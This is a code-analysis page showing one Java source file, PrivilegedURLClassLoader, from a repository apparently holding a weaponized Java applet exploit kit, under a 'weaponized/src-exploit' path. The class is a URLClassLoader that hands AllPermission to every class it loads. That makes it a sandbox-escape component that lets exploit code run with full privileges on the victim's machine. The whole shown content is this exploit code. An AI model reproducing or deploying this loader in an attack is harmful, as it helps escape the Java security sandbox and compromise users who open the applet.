hackedteam/vector-applet

View on GitHub
weaponized/src-exploit/x/PrivilegedURLClassLoader.java

Summary

Maintainability
A
55 mins
Test Coverage
package x;

import java.net.URL;
import java.net.URLClassLoader;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.PermissionCollection;
import java.security.Permissions;

public class PrivilegedURLClassLoader extends URLClassLoader {

    Permissions perms;
    
    public PrivilegedURLClassLoader(URL[] aurl, ClassLoader classloader) {
        super(aurl, classloader);
        init();
    }

    public PrivilegedURLClassLoader(URL[] aurl) {
        super(aurl);
        init();
    }
    
    private void init() {
        perms = new Permissions();
        perms.add(new AllPermission());
    }

    @Override
    protected PermissionCollection getPermissions(CodeSource codesource) {
        return perms;
    }

}